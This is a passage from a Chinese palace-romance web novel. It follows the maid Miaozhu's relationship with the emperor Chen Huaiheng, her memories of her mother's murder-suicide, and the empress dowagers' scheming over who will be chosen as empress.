荣桃到的时候太皇太后也已经用过晚膳了。 寿宁宫的人见是她来了,便引着她进去见了人。 殿内点着烛火,太皇太后坐在太师椅上,眼睛微阖,她身边的老嬷嬷上前禀告,说是人来了,她这才不急不慢睁开了眼。 她看向跪在殿中央的荣桃,淡淡道:“你已经許久没来过了,以往每次过来,也不曾说过些什么有用的东西回来。” 她笑,问道:“你收了我的好,便是这样报答我的?” 荣桃趕紧给她磕了两个头,她哀求道:“是奴婢没有用,奴婢这次来,也是因受之有愧,将东西还与娘娘的。” 东西她都还给她,往后便也不再为她做事了。 她好不容易从陳怀衡那里捡了一条命下来,现在岂还能执迷不悟呢。 说着,荣桃就从怀中把从她那里收受的好处,全都双手递给了她身边的那个老嬷嬷。 太皇太后见此,其实也并不意外。 陈怀衡是个聪明人,他知道她在他的身边安插人手了,其余的三个人都被他用了各种理由趕走,可独独眼前的荣桃,这么久了,却也不曾下手。 甚至,她还有机会来寿宁宫还东西。 有点意思。 即便眼珠浑浊,太皇太后那张饱经风霜的 眼睛也仍旧精明,烛火下,倒影着的红光似在她的眼球之中跳动,泛着诡异的光。 她对荣桃道:“我给出的东西,断没有收回来的道理。” 这便是不肯放过荣桃的意思了。 荣桃听了之后,心都凉了半截。 可是,下一瞬,太皇太后又道:“可我也并不想为难人,你既不想做了,我也不想逼着你繼续了。” 这一来一回的,荣桃的心也跟着一块跳上跳下,刚想谢恩,却又听太皇太后道:“我只是好奇一件事情,你若告诉我了,往后,你便再和寿宁宫不相干了。” 荣桃明白了太皇太后的意思,问道:“娘娘是想问些什么?” “记得乾清宫有个唤妙珠的宫女吧,近来是不是很得圣心?” 荣桃怎么也没想到竟是这样的问题,她反应过来后便愣在了原地,紧抿了唇不敢作答。 她不知道太皇太后问这话的意图是些什么,也不知道她的回答会不会害了妙珠。 不过,不用她再开口,见她这幅神情,太皇太后自己便什么都猜到了。 看来啊,果真是不大一般。 弄清楚了这事之后,太皇太后便沉默良久,荣桃不敢繼续留在这里,赶忙起身告退。 太皇太后得到了自己想要的答案后,果真也没再继续留人了,任由她离开。 * 自从秋猎回来之后,陈怀衡便一直因着新的事情头疼。 他虽已经站稳了脚跟,可朝中文官当道,他想要推行政令,也总不能一道指令直接下去,说推就推,那样也很容易出事。 : 政令就算是由着一道圣旨颁下去那又能有什么用?底下的人若是想跟你作对,有的是法子让政令如废纸,而支持新政的官员更是寥寥无几,陈怀衡自是没办法去和整个文管集团作对。 那对他不会有任何好处。 而自从西山猎场回来之后,先前的君臣和乐之景也转瞬即逝,大臣们也都想着法子去叫陈怀衡不痛快,那些折子快把桌案两侧都堆满了。 妙珠也看出陈怀衡心情不大好,晚些时候,她亲自跑去尚膳监,做了碗汤盅端回来。 卿云正顶着她的缺,见人回来后便也退了出去。 妙珠走了过去,将手上的汤盅放到了桌案上面。 她道:“陛下受累了,用碗热汤歇歇吧。” 妙珠也看出陈怀衡这些天心情不大好,或許是在为着新政一事烦恼。 就连陈怀霖这段时日也来了几遭,瞧着也是在论这么些事。 陈怀衡见妙珠殷勤,也给她个面子,接过了她带回来的汤,只是一喝下去便忍不住蹙眉。 他抬头问她:“方才去了这么久,跑去做汤了?” 妙珠见陈怀衡表情不对,登时有些心虚,她试探问道:“不好喝嗎,陛下?” 妙珠自己事先是尝过的,可她也没觉着难喝或许是陈怀衡嘴巴太刁了吧。 陈怀衡当即明了方才妙珠是捣鼓些什么去了,难怪去了这么久,合着是自己做汤去了。 只是她那狗嘴巴,好坏也尝不出来一点,跟着他也吃过不少好的,也不知道怎么想的给他端这种东西上来,还好意思来问好不好喝。 他直接道:“难喝。” 妙珠叫他说得脸色一红,马上道:“那陛下别喝了,奴婢再去端碗新的回来。” 可重新再端陈怀衡却又不肯,他道:“等你再端回来那又要到何时?” 这也不肯。 妙珠缩了缩脑袋,便不再说了。 或许他这些时日用功,到了亥时肚子也真饿了,虽是嫌着这汤难喝,竟还喝了完。 他净过口后,任妙珠收了汤盅去一旁,而后淡声道:“无事献殷勤,这是想要来求朕些什么?” 妙珠被他点出了心事,也不再藏着掖着,回他道:“陛下,好些时日没见着嬷嬷了,奴婢能回去瞧瞧她吗?” 近些时日陈怀衡待她确实是没那么坏了,她才大着胆子去和他说了这事。 陈怀衡还以为是有什么事呢,原来就是这个。 这对他来说不过是小事一桩,放她回去几个时辰也没什么打紧,不过,他想到了另外一件事,也没想着叫妙珠这么轻易就如了意。 他道:“你这汤都难喝成这个样子,朕拿什么答应你?” 妙珠当即想要回他,难喝你不也喝完了吗。 可这话自然是不敢说的,很快就憋到了肚子里头。 妙珠以为陈怀衡这是不愿意了,便不肯吭声了。 陈怀衡扭头却见她默不作声,心道这小傻子还真是个榆木脑袋,若是换成别的些个人,早来冲他撒娇做好。虽女人他从前是没有过的,可这些手段,他早见过不少。 妙珠低垂着眼睑,长睫下的眼睛轻而易举就看出了失落,被他拒绝了之后,就站在一旁咬着嘴唇不说话了。 一幅受了气的小媳妇样。 陈怀衡朝她勾了勾手指,妙珠不解其意,却也还是听话凑了过去。 陈怀衡笑了声,黏在她的耳边道:“你真的想回去见你那好嬷嬷?” 他呼出的气喷在妙珠的耳畔,声音被他故意弄得缠绵悱恻,激得她起一阵鸡皮疙瘩。 妙珠现在显然是顾不得这些了,见他有松口的意思,忙道:“自然是想的。” 陈怀衡道:“那晚上跪久点好不好?” 就这么一句话,激得妙珠脸色烧红,这片红一直延着脸颊红到了耳根,珠圆玉润的耳垂红得都快滴出血来了。 她不喜欢那个姿势了。 可偏偏陈怀衡又喜欢得厉害。 现在分明不是该说那些东西的时候,可陈怀衡偏偏要在这样的时候提起,只叫人觉得难堪得很。 可是,妙珠最后也没反驳,只是红着脸,声若蚊蚋地“嗯”了一声。 总归跪不跪这事也不是她能说了算的,若是还能换来个回去司衣司见嬷嬷的机会,这不比什么都好些吗。 到了夜里头,妙珠也果真如陈怀衡所愿,在床上多跪了好一会,最后陈怀衡见她实在受不住了,才放过了她。 这是两人第一次在乾清宫做这样的事,事后,怕叫其他人瞧见,妙珠不敢留在龙塌上过夜,挣扎着就要起身。 陈怀衡将人按住,妙珠身上疲惫不堪,也不想同他闹下去,道:“叫人瞧见便不好了。” 陈怀衡看着她这样,觉她有些傻得可怜,他从鼻尖哼出了一声笑,道:“不好些什么?再说,你以为他们会不知道?” 这里头的动静只怕早就传了出去,她这偷偷摸摸的还想躲着谁呢。 妙珠真的是个小傻子。 殿内的烛火早已经熄了,只有月光从直棂窗那单薄的纱纸中透进,殿内亮堂着极其微弱的亮光。 妙珠只穿着一件小衣,她背对着陈怀衡,光裸的后背泛着莹白清润的光。 陈怀衡忽然出了声唤她。 “小乞。” 或许是夜实在太黑了,那一团黑粘稠地涌现过来,将床榻上的两人吞噬,陈怀衡在这一刻,蓦地想起了几月前的一个月,那个少女痛苦地说着:“陛下,我叫小乞。” 可是,怎么会有人叫小乞呢。 怎么就会有人给自己的孩子取这么下贱的名字呢。 妙珠从前和陈怀衡说过这个名字,那是挺久以前的事了,可她没想到,他现在竟也还记得。 他在这样的情形下,提起了这个名字 在深夜之中,她这样赤裸,她的灵魂与身心根本寻不到能够遮挡住难堪的东西。 “小乞”这两个字,让妙珠的背肉眼可见地颤了一下。 妙珠上次对他提起这两个字的时候,陈怀衡清晰的记得她眼中的痛苦,现在,她又因这个名字发抖发颤。 陈怀衡的手去触碰她的肩膀,却发现她颤抖得更厉害了。 “你是在害怕些什么?” 第32章 第三十二章人是怎么掉进水里的?…… 到底是在怕些什么?才会光是听到这两个字就瑟瑟作 抖了呢。 他想起了她的母亲,问她道:“你母亲以往经常会打你?” 妙珠沉默了好一会,陈懷衡才终于见她点了点头。 陈懷衡见她点头,心中不知是何缘故,莫名生出了一种极古怪的情绪,是什么情绪?他不知道。 只是,并不怎么好受。 陈懷衡又问她:“为什么?” 为什么要欺负她。 为什么要去打她。 妙珠是个不可多得的,听话的乖孩子。 陈懷衡不知道她的母亲是哪根筋搭错了,犯了什么蠢病才会欺负她。 妙珠觉得陈怀衡今夜也怪无聊的,竟都开始对她那些无趣又肮脏的私事感兴趣了。 这有为什么可说嗎? 她难道还要去同他长篇大论地解释,为什么她的母亲要打她嗎? 想到这里,她竟笑了一声,而后闷闷道:“她是个傻子。” 母亲是个天大的傻子。 “她是怎么死的?你妹妹又是怎么死的?” 怎么就都死了呢。 母亲是怎么死的。 妙珠现在再回想起来,竟发现那好像是上辈子的事。 自从小妹死后,妙珠便和母亲相依为命,母亲还在和各种各样的男人睡觉,妙珠浑浑噩噩度日,每天都在想着小妹。就这样不紧不慢地过了十来日,她的外祖不知道是从哪里给她找了户人家,说是要买走她去做童养媳。 妙珠害怕,晚上的时候又趴在母亲的怀中哭,可母亲又犯了傻病,听到她哭,还只是在那里傻呵呵的笑。 妙珠以为母亲什么都不知道的,可是第二日,她起身的时候却找不到母亲的身影了,也不知道她是去了哪里。 从前是没有出现过这种状况的,妙珠怕她是走丢了,慌忙起身去寻,最后却在外祖的房间找到了她 母亲拿着菜刀,菜刀下面倒着一个已经没了气的外祖 血到處都是血。 母亲在拔刀自刎前,双眼前所未有的清醒,她看着妙珠,那双漂亮的眼睛泛滥着泪光。 她说:“小乞,娘对不起你” “小乞,好好活,带着娘和小妹的那份活下去吧。” “活不下去了,也慢慢死。” 妙珠顷刻间意识到她想要做些什么,嘶吼着出声:“没关系的!娘!不要!” 晚了,还是晚了。 她压根就拦不住一心也要求死的母亲。 妙珠从前總觉得母亲是天底下最大的傻子,可是,不是的,她大抵是什么都知道的,到了最后,太痛苦了,苦到连活下去的勇气也没有了。 她从前的时候一直以为自己太恨她了,恨她让她这辈子成了这幅样子,她以往那些年甚至连做梦都不愿意梦到她。 事到如今再去回忆起往事,她才发现,不是恨她,实在是太想了太想了。 思念的青苔已经快爬满了心口。 可一想起她却又想起从前那些苦得没边的日子,连想都不敢再想。 陈怀衡见妙珠久久不说话,道:“你在想些” 话还不曾说完,妙珠就先转过身来,往他怀中钻,她埋在他的胸膛前,近乎哀求般道:“每个人都是会死的,陛下不要问了,求您别问了。” 在这紫禁城中,也有很多无法宣之于口的事,而在紫禁城外,卑微渺小的妙珠,也有一些难以启齿的往事。 陈怀衡感觉到自己胸膛前的中衣被泪水浸湿,见她如此,到底还是止住了声,末了,伸出手将人抱得更紧了一些。 感受到陈怀衡的用力,妙珠难得的用力回抱着他。 他曾经说得那些话,她是真的信了。 他说只要她乖乖听话,就会对她好一点,她是真的信了的。 人總是会在极其脆弱的时候寻求庇护,只没有想到有一天,她竟也敢将陈怀衡当做她的庇护。 * 翻眼就到了第二日,陈怀衡确实不曾作谎,允了妙珠回去司衣司。 妙珠把上回陈怀衡赏给她的珠玉全都带上,只是到司衣司的时候不大凑巧,裴嬤嬤出门去了,现在还不曾回来。 妙珠便只好在这等她一会。 然而没等来嬤嬤,倒是先等来了翠梅。 上回妙珠回来的时候,翠梅还在养伤,选宮女那回她和嬷嬷使心眼子,屁股挨了二十板,自那之后就一直躺在床上,现下伤养好了,见妙珠往司衣司跑,自少不得是想过来冷嘲热讽一番。 本以为妙珠在乾清宮的日子过得不大好,见到人却发现生龙活虎,非但没见落魄,反倒越发香温玉软。 翠梅站在裴嬷嬷的房门口,看着里头坐着的妙珠,刚欲讥讽的话就这样卡在了喉咙里头,可还是不怎么甘心,冷冷地从鼻子里头哼出一道气。 “呦,咱们的小乞回来喽。” 妙珠听到门那边传来的动静,才注意到了翠梅站在门边,也不知是在那里站了多久。 她不大想要搭理她,收回了自己的视线。 翠梅讨了个没趣,却还不肯罢休,她问她道:“看这样子,你在乾清宮过的是不错的” 她边说边又边往着屋子里头去,见妙珠手上还拿着一个包裹行囊,便想着上手去夺,妙珠一时不察,竟就真叫她夺了过去。 翠梅打开了她带回来的包裹一看,馬上就被里头装着的東西晃了眼。 她错愕地愣了一瞬,反应过来后馬上道:“妙珠,你还真有本事啊,现在都学会偷東西了!” 不过,这话说了之后她又馬上噤了声。 不对,不太对 乾清宮那是容她偷東西的地方嗎? 她瞬间了然,这么一兜子的好東西,怕是哪个贵人赏赐下去的。 饶是翠梅眼拙,也能看出这里面的都是些好东西。 在这紫禁城里面,能赏下这些东西的,除了乾清宫坐着的那个,又还能有谁呢。 原来是这样子。 难怪總觉她现在和从前那会瞧着更不一样,原是经了事啊。 她皮笑肉不笑道:“小乞啊小乞,原来你这是做起了你母亲的老本行,还真是下贱得很。” 这话便是戳到了妙珠的痛處,可偏生又不能去反驳翠梅的话。 她和她母亲何曾两样? 最多的不同便也是,她母亲千人骑万人压,她也只是帝王一人的奴仆妓子。 妙珠面色一瞬间发红,一把夺回了自己的东西,而后起身推搡了翠梅出去,她道:“我是回来见嬷嬷的,又不是来见你的,你出去!” 翠梅还在不依不饶想说些什么,可是就在这时裴嬷嬷将好从外头回来了。 她不怕妙珠,可是害怕裴嬷嬷,上回打得那几板子,现在想起来屁股都还疼着。 裴嬷嬷见到此景,馬上便知道又是翠梅来寻了妙珠的麻烦。 她瞪了眼翠梅,后者也没敢继续再待下去,缩着脖子便跑走了。 裴嬷嬷这才拉着妙珠重新进了屋,她见妙珠回来了,还觉着惊奇,道:“这是什么日子,乾清宫那边竟放你回来了。” 妙珠大约是七月去的乾清宫,现在十一月,也过了好些月了,而且,皇上这些时日也不常折磨處罚过人,想来,妙珠的日子也应当好过些了,裴嬷嬷也没从前那般提着心了。 只是,不知道今天是什么好日子, 妙珠竟回来了。 妙珠走到了桌边坐下,打开了那个装着珠宝的袋子,她推到了裴嬷嬷的面前,道:“嬷嬷,给你。” 裴嬷嬷见到这些,脸色一变,瞧着非但没有高兴,反倒有些凝重,她道:“妙珠,陛下赏赐的?” 妙珠没撒谎,垂着脑袋点了点头。 裴嬷嬷瞬间了然,她问道:“你这是跟了陛下了?” 妙珠没有回答她的这个话,过了许久才憋出一句:“嬷嬷说的话,我都有记在心里。” 当初她是怎么叮嘱她的,她都有记在心里。 嬷嬷说,陛下是神仙,是九五之尊,是主子万岁爷,是普天下最厲害的人。 裴嬷嬷叫她这话说得噤了声,也想起了当初她前往乾清宫前,她叮嘱过的那些话。 当初她对妙珠说那些话,也是怕她会做出些什么背主的事情,到时候惹来了杀身之祸。 没想到,现在她竟已经跟上了皇帝 不过,这当也不是什么坏事,往后總归也是能有皇上护着,瞧陈怀衡赏赐给她的那些东西,想来对她也还算是宠溺。 裴嬷嬷又不放心,叮嘱她道:“妙珠,往后不要惹了陛下生气,陛下现在疼你,你便受着,往后若是不疼你了,你也莫要觉着难受。这宫里头,也没有什么人能荣宠一生一世的。还有,往后不要这么傻,陛下赏赐给你的东西,你自己好生收着,不要拿来给别人。” “我已经很听话了,没有惹他生气”妙珠又道:“而且,嬷嬷又不是别人。” 她不喜欢这些东西,当初若不是想着带回来给嬷嬷,她压根就不想要。 妙珠闷闷道:“就连嬷嬷现下也和我见外了,连我的东西也不肯收了。” 见她一脸委屈,裴嬷嬷捏了把她的脸,笑道:“还在我面前装模作样起来了呢,行了,既你有心,嬷嬷就收下只镯子,这样成了嗎?” 妙珠不肯,一只镯子那太少了,她还想从里头掏东西出来,裴嬷嬷按住了她的手,阻道:“够了,妙珠,一只镯子,都顶嬷嬷小两年的俸禄了。” 她又叹气,道:“真是傻姑娘,得了些好,全想着给别人。” 两人不再继续说下去,裴嬷嬷到了最后也只收下了一只手镯,妙珠才想着去问裴嬷嬷方才是去了何处。 裴嬷嬷解释道:“方才是去了太皇太后那边呢,给她挑了一下新的冬装样式,定下来了司衣司才好开工只方才过去的时候,正好撞见了太后也在那边,顺带着给她也定了一件下来,这才回来迟了。” 太后娘娘也在? 那两人凑在一起是要说些什么? 妙珠也没往心里头去,听过就从耳朵里面出去了。 最后,她也没急着回去乾清宫里头,又留下来和裴嬷嬷一道用了午膳才回。 * 冬天就这样在不知不觉中降临到了紫禁城中,暖阳落在宫阙之上,将瓦片照得锃亮一片。 寿宁宫中,阳光透过窗牖,落在了地板上头。 太皇太后同太后相对而坐,中间摆着一张桌子,上头置着杯盏茶水。 太皇太后亲自给太后斟了杯茶,太后受宠若惊,忙道:“母后放着,臣妾来就可。” 太皇太后撇开她的手,道:“都是做太后的人了,怎么,一杯茶还受不起?” 太后当初不过五品人家出身,行事做派难免是有些小家子气了,在太皇太后面前,总也是瞧着畏缩。 当初仁宗在世前的一段时日,状况危急,也是太皇太后帮忙把持朝政,后来,仁宗一经崩殂,就出了道传位给五皇子陈怀衡的诏书,那时陈怀霖的生母皇贵妃尤其不甘,还大闹了一场,竟还去质疑诏书是伪诏,不少群臣也被她煽动,疑心那诏书是不是被人做了假。 仍是淑妃的孝端太后,见此情形,急得鼻子都出了血,可又无可奈何,只一个劲地指着皇贵妃骂,“你个毒妇!颠倒黑白!其心可居!” 然而,在皇储之争中,她的辱骂除了让那她和皇贵妃看起来都像是疯了一样,所起的作用自是微乎可微。 最后还是太皇太后出面平息了那件事,顺利将陈怀衡送上了王座。 经此一事太后自然是敬重她的,现在又怎敢叫她为她倒茶。 只是见太皇太后执意,却也不大好再推脱。 她接来了她的茶水,又主动开口问道:“母后今日唤我来所为何事?” 太皇太后先是幽幽叹了口气,而后道:“皇帝如今也十八了,再过两个月,到了诞辰,那就十九,这后位一直这般空悬着,也不大像一回事啊。” 原来是为了立后这事。 说起这事,太后心里头也仍旧是不舒坦得厲害,上回她办了场赏花宴,结果陈怀衡非但不受,反倒是叫自家的侄女跟着丢了个大脸,回去之后还哭了好半天。 现在一提起这事,太后也仍旧耿耿于怀。 她道:“立后不立后的,我是管不了他一点,上回挑了些贵女们进宫,反倒是吃了他的瓜落。” 赏花宴的事情太皇太后自然也是知道的,她笑了一声,宽慰她道:“皇帝是个有主意的人,我们倒是排不了他的事。不过那施家小姐不是回来了吗?听说这回在溪山病也养好了,上回在猎场那里我瞥了一眼,人确实也是生龙活虎多了。” 陈怀衡和施宁煦的事,皇城的人多多少少都是知道的,更遑论他的母亲和祖母。 明眼人瞧着,大概都以为陈怀衡和施宁煦之间是有些情谊在的,而他如今迟迟不娶,万一就有她的缘故呢? 太后是想着把李家的人塞给陈怀衡,可显然,他并不领这个情,那便也没办法了,现下当务之急也不是给陈怀衡塞自家人了,而是,先让他立了后。 国不可久无储君,宫不可长缺内主,他长久不立后选妃,膝下无嗣,如何不叫人心忧。 至于施宁煦切实也是个不错的人选。 父亲虽早亡,可家中兄长这个年纪就已经高居两品,内阁里面的那些个老头,有些干了大半辈子也才坐到二品。 虽是个武将,可武将做到了顶天的位置,那也没什么可指摘的地方。 宁煦也是大家闺秀,当初她在皇宫养病的时候,她见过几面,确实是个不错的好姑娘,懂事听话,腹有诗书。 唯一的不行,就是身子不大好,可是现下,病也养好了 那更是好些了。 见太皇太后提起施宁煦,太后也附和道:“施家的小姐切实是不错的孩子,若是衡儿有心,那也未尝不可。” 却又听太皇太后叹了口气,她道:“可是听闻皇帝身边最近有个小宫女得宠,也不知是不是上了心,若是真上了心,就怕那些个小蹄子狐媚惑主,蛊惑得主君也不愿立后。” 太后听到这话显然觉得不大对劲,竟还有人能蛊惑得了陈怀衡? 这么些个日子,也不见他身边跟了什么人,他难道又宠幸过谁?可敬事房那边又不见有过记录。 也对,如若皇帝没有册封妃子的意图,这些事情也都是可以被人为的掩去 只是不明白太皇太后这话是什么意思,这明刀暗枪的又是在说谁。 “请母后明示。” 太皇太后道:“皇帝近来身边跟着一个小宫女,你可知道?” 太后的脑海中马上浮现了妙珠的脸,近些时日,好像经常看到是她服侍在皇帝的身边。 上一回,赏花宴上,陈怀衡还夸了那小宫女做的极其的低劣的诗。 这样看来,好像是有些不大对劲的地方。 可是,陈怀衡也不像是会因为一己私欲而耽误大事的人,太后想了想后道:“不过是一个宫女罢了,当没母后说得这样严重吧” 太皇太后轻笑了一声,而后摇了摇头,叹道:“你忘了当初的丽嫔吗?她身份低贱,谁也没想到她后来能被皇上宠幸到那等地步吧。” 当初先帝宠愛那个身份低贱的宫女,最后让她升到了嫔位。 他宠愛她,六宫皆知,甚至后来还闹出了一件人尽皆知,载入史册的笑话来。 丽嫔是个头发长见识短的女人,没见过什么好东西,一次宫宴中,其他的嫔妃有心叫她丢丑,故意指着旁人献给皇上的雪貂,问丽嫔那是什么?丽嫔从不曾见过那东西,见那小玩样通体雪白,身体小又修长,长得如同一只怪鼠,她吓得直接骇出一句:“嚯,这白鼠怎么生得这般大?” 她这话一出,引得众人哄堂大笑,有人出言讥讽,道:“这哪里是白鼠啊,这可是雪貂。” 丽嫔这才知道自己丢了丑,被人拿来取笑。 她又羞又恼地看向了帝王,帝王当即为她出了头,下令让人扒了那只雪貂的皮,还道:“既愛妃觉得这鼠骇人,那便扒了皮,做成貂便不骇人了。” 这桩事后来还被人记到了史书之中,古有指鹿为马,今有帝王安慰爱妃指貂为鼠。 想起丽嫔,太后就是一阵心梗,这时太皇太后又道:“你难道不觉得那小宫女同当初的丽嫔生得有那么几分相像吗?” 其实是不大像的,丽嫔生得极妩媚,妙珠怎么会和她像呢?只是,太后听到太皇太后这般说,竟真觉她说得也不是不无道理细细思之,好像还真是有些像。 这样想着,她那心里头便越发不是滋味了。 她极厌丽嫔,甚至皇帝死后,她还将她做成了人彘。 若是她的儿子也要走他父皇的老路,她断不能忍。 她道:“那母后说这该怎么办好啊。” 可千万不能再叫那些个妖女蛊惑了帝心啊! 太皇太后道:“这事哪有你想的那样难办,敲打那宫女,再提醒皇帝不要步了先帝的后尘不就行了吗?先这样吧,现下也只能这样了。” 太后犯了难:“我这手也插不到皇帝的宫里头啊,敲打那宫女倒是好说,提醒皇帝怕我在乾清宫唠叨几句,就要给我请出去喽。” 太皇太后道:“你将宁煦唤到宫里头来说话,到时候皇帝自然而然会去慈宁宫,去了之后,你明里暗里提那么几句,敲打他们几番不就好了,若是能再撮合他们两个,不是就更好了?你啊你,便是心太死太软,这也不懂变通。” 太后被这么一点,瞬间明白了她的意思,忙应下道:“是臣妾愚钝了,多谢母后提点!” * 夜幕笼罩,施家堂屋中,施枕谦兄妹二人刚用完晚膳,宫里头就有道请帖送了过来。 打开一看,是太后邀施宁煦入宫。 施枕谦道:“太后送帖子来做些什么?你何时和她有了干系?” 施宁煦又哪里知道,她对她唯一的印象也是从前在宫里头养病的时候,她来看了她几回,对她也还算和善。 她想了想后道:“当是见我从溪山回来了,便唤我入宫瞧瞧问问?” 也只能是这般了吧,施枕谦道:“这般突然” 施宁煦倒没将这事放在心上,她道:“无妨,也不过是进宫一趟,出不了什么事的,哥哥何必这般担心。” 听施宁煦这样说,施枕谦也没再想下去,也是,他们家又不曾得罪过太后,没什么不能去的,再说了,陈怀衡也在宫里头呢,真出了什么事,也能赶得及。 很快就到了第二日,施宁煦用过午膳之后,约莫又过了半个时辰,便赶去了宫中。 去往慈宁宫的时候,太后刚好歇过中觉起身。 她整了整形容,便去了外殿,施宁煦和她行了个礼,太后笑着叫人坐下。 施宁煦推脱不掉,听了她的话坐下。 太后惧冷,十一月的天,殿里头就已燃上了炭火,施宁煦也惧冷,这个时日已经披上大氅,一进来,她被殿内的炭火烘得厲害,便由着太后身边的老嬷嬷帮她脱下大氅。 太后笑着同她道:“今日忽地喊你入宫,可没觉着奇怪吧?” 听太后语气和善,施宁煦便也笑着回道:“怎么会呢,方怕娘娘还在歇中觉,便来晚了些,娘娘勿怪。” 太后也没说明今日喊她过来是做些什么,一开始两人也只说些家常的话。 “早些时候就听说你从溪山回来了,也一直没机会喊你过来看看,怎么样?现在身子可都养好些了,还会像从前那样难受吗?” 施宁煦摇头,道:“早些时候便好了,一直想着回来,这回哥哥方从河套那边回来,顺路捎上我一道归了京。怪我这番不周全,没早些想着回宫来拜见娘娘。今日进宫,兄长还叫我捎了好些补品带给您,盼娘娘安康。” 总也不好空着手进宫。 施宁煦说完话就给身边的侍女递了给眼色,侍女将东西递给了她身边的老嬷嬷。 太后见此,对施宁煦更是满意了几分。 别看人是武将家出身,可好歹也是钟鸣鼎食之家出来的孩子,办事向来利落体面。 太后越看眼前的女子越是满意,也不怪陈怀衡瞧不上自家的侄女,换她光用外人的眼光来看,也挑不出施宁煦的错来。 她道:“你真是个知礼的乖孩,也难怪衡儿这般看重你,你的父兄将你养得很好,我瞧了都喜欢。” 提起陈怀衡,施宁煦眼皮便跳了跳,也瞬间明白了太后今日唤她过来的意图。 看来,多少也是和陈怀衡脱不开关系。 她在心中叹了口气,没想到当初的事情竟叫这么多人误会了去。 她在乾清宫的偏殿养病,一直过去了快两年,也还叫人记在心中,人人都以为,她和陈怀衡之间是有着些什么事情。 宁煦的母亲生她的时候丢了命,施总督是在施宁煦八岁的时候被派遣去了北疆长任总督,那个时候他只带走了施枕谦,宁煦年岁小,不好跟过去,便只能和施家的亲戚住在一起。父子两人常年都在北疆待着,无暇顾忌宁煦,只是有一回他们过年回京,却发现那些施家亲戚虐待苛责宁煦,最后施总督发了雷霆之怒,和那些个亲戚闹掰了,一气之下,直接带着十岁大的施宁煦一道去了北疆。 北疆不比京城,宁煦在那边也吃过不好的苦,不过,父兄待她好,知她爱读书,便给她在北疆那边请些教习师傅上门,知她喜爱风花雪月,他们便给她在北疆小镇的院子里面种满了花。 不过,饶是如此,北疆总是也不比京城那般精细,在关乎男女那方面的事情,也没那般严防死守,尤其是什么“七年男女不同席”,更都是少见,施宁煦从前的时候还总和施枕谦他们在外头骑马。 所以,在宁煦看来,她当初其实不过是借住在乾清宫养病罢了 应当是没什么关系。 大抵陈怀衡也是这般想的。 而那时候北伐刚大获全胜,他亟需立稳脚跟,每日忙得不可开交,没有一丝闲暇,为了能更方便照看她,便直接将人安在了偏殿。 然而,不想在旁的人看来,竟成了那种干系。 宁煦头疼,这世上的男女又不是只能相爱难道就不能有其他的关系了吗? 她道:“娘娘,陛下只是将我当做妹妹来看待罢了” 话还不曾说完就叫太后打断,她用帕子掩着嘴巴笑道:“你瞧瞧,还害羞了呢!” 施宁煦头更是疼得厉害。 有些事情,一解释起来,便是没完没了。 她刚想说些什么,殿外就传来了“恭迎陛下”的通传声。 太后笑得更是厉害了:“你看,你这一进宫,人就马不停蹄赶过来了,岂不是看重你?你放心,我都懂的,你且不用羞涩。” 施宁煦抿了抿唇,终是没再开口。 看太后这架势,她越是说,怕她越是来劲。 陈怀衡今日听人说施宁煦入宫来寻太后。 也不知这两人能有什么好说的,最后怕施宁煦出了什么事,还是赶来了慈宁宫这处。 谁知一到门口,就听到了那些话。 他坐到了施宁煦的旁边,眉头 微蹙,问道:“你们方才那是在说些什么呢?” 太后本也还是笑着,可见到了陈怀衡身边跟着的妙珠便敛了表情下来。 她皮笑肉不笑道:“还能说些什么呢?不过是在说些女人家的话,只是见宁煦从溪山回来了,便想着见一眼罢了” 陈怀衡道:“您和她有什么好见的。” 这话虽是实话,可叫陈怀衡这样说出来,便是有些故意想叫人难堪了。 太后当即“啧”了一声,道:“你这话便说得太过,我怎就不能见她?这么好的姑娘,我自是想着见见。施总督是个不错的人,教养的孩子也贞静守礼,大气端庄,不似有些人,惯是会倚姣作媚,你是皇帝,是该和宁煦这样的小姐多做往来,身边也总别留些不干不净的人,从前的卿云不是也挺好,你怎么就不叫人继续跟着呢” 这话越说越是指名道姓,饶是妙珠这般迟钝的人,也听出了话中的不对劲。 陈怀衡拧紧了眉头,刚想说话,就听施宁煦先行打断,她道:“娘娘,我这太久没进宫了,很久没赏过御花园的花了” 太后住了声,知施宁煦是想先行离开了,她也正有此意,想和陈怀衡说些话,便道:“行,那你去瞧瞧看。” 施宁煦又看向妙珠,道:“我有些不大认路了,陛下能叫身边的小宫女引个路吗?” 太后再说下去,也不知该说些什么,陈怀衡听出施宁煦是想支走妙珠,“嗯”了一声,便让那两人一道离了慈宁宫。 那两人走后,陈怀衡直接冷声问道:“母后今日弄这么一出,是想敲打谁?” 太后见陈怀衡冷了声,也来了气,她道:“你同我红什么脸?怎么,你从前不是最看重宁煦吗,现在人回来了,你倒是不在意了?还是说,现下身边有个小宫女侍奉,连宁煦也不肯管了?” 她想起妙珠,便道:“你可莫要学你父皇,别到时候弄得身边乌烟瘴气的。” “学父皇?”陈怀衡讥道:“朕可学不来他。” 太后听他这话似意有所指,便马上又道:“我也不是这个意思,你若是宠幸哪个小宫女,母后自不会说些什么,可你现在该到立后的年岁,总该以子嗣为先” 陈怀衡蹙眉问道:“所以这和宁煦有什么关系?” 接下来两人便又就这件事情开始说了起来。 另外一边,施宁煦已经带着妙珠离开了这个是非之地,她只想着赶紧带着她离开,一直走了好远,被殿外的风吹得厉害,才想起身上披着的大氅落在慈宁宫,便让遣了身边跟着的婢女回过去取。 而她则和妙珠自顾自往御花园里头走去。 施宁煦对妙珠道:“方才娘娘说的话你莫要放在心上,她没有针对你的意思。” 是不是针对,妙珠又哪里听不出来,只是她也觉着厉害,宫里头的人都是些人精,一有个什么风吹草动,马上就什么都瞧出来了。 她也才陈怀衡有干系不久,他们这些人竟也这么快就知道了。 妙珠没说什么,只是低着头,竟还笑了笑,她道:“小姐,娘娘说得没有错,奴婢确实是不干不净的。” 施宁煦听到这话便不高兴了,她道:“妙珠,不要自轻自贱。大家生下来都是衣不蔽体的,能有谁是脏的?” 妙珠想起了母亲打她,打到她落泪的场景,她忽地抬头,竟同施宁煦辩驳道:“有的,施小姐,要是有人生下来血就是脏的呢?” 施宁煦没想到妙珠会说这样的话,周遭的风有些凛冽,她扭头看向妙珠,见她发丝被风吹得凌乱,可说这话的时候,那双清眸中却尽是认真。 施宁煦讷讷地问她:“妙珠,怎么会有人的血生来就是脏的呢。” 妙珠,到底是经历了什么才会叫你以为,自己的血会是生下来就脏的呢? 许是寒风有些刮眼,施宁煦觉得自己的眼睛竟莫名发酸,她同样认真地反驳她:“没有的,妙珠,没有人的血生下来就是脏的。” 妙珠却不知道为何,在这件事情上竟格外执拗,她道:“有的,一定是有的!” 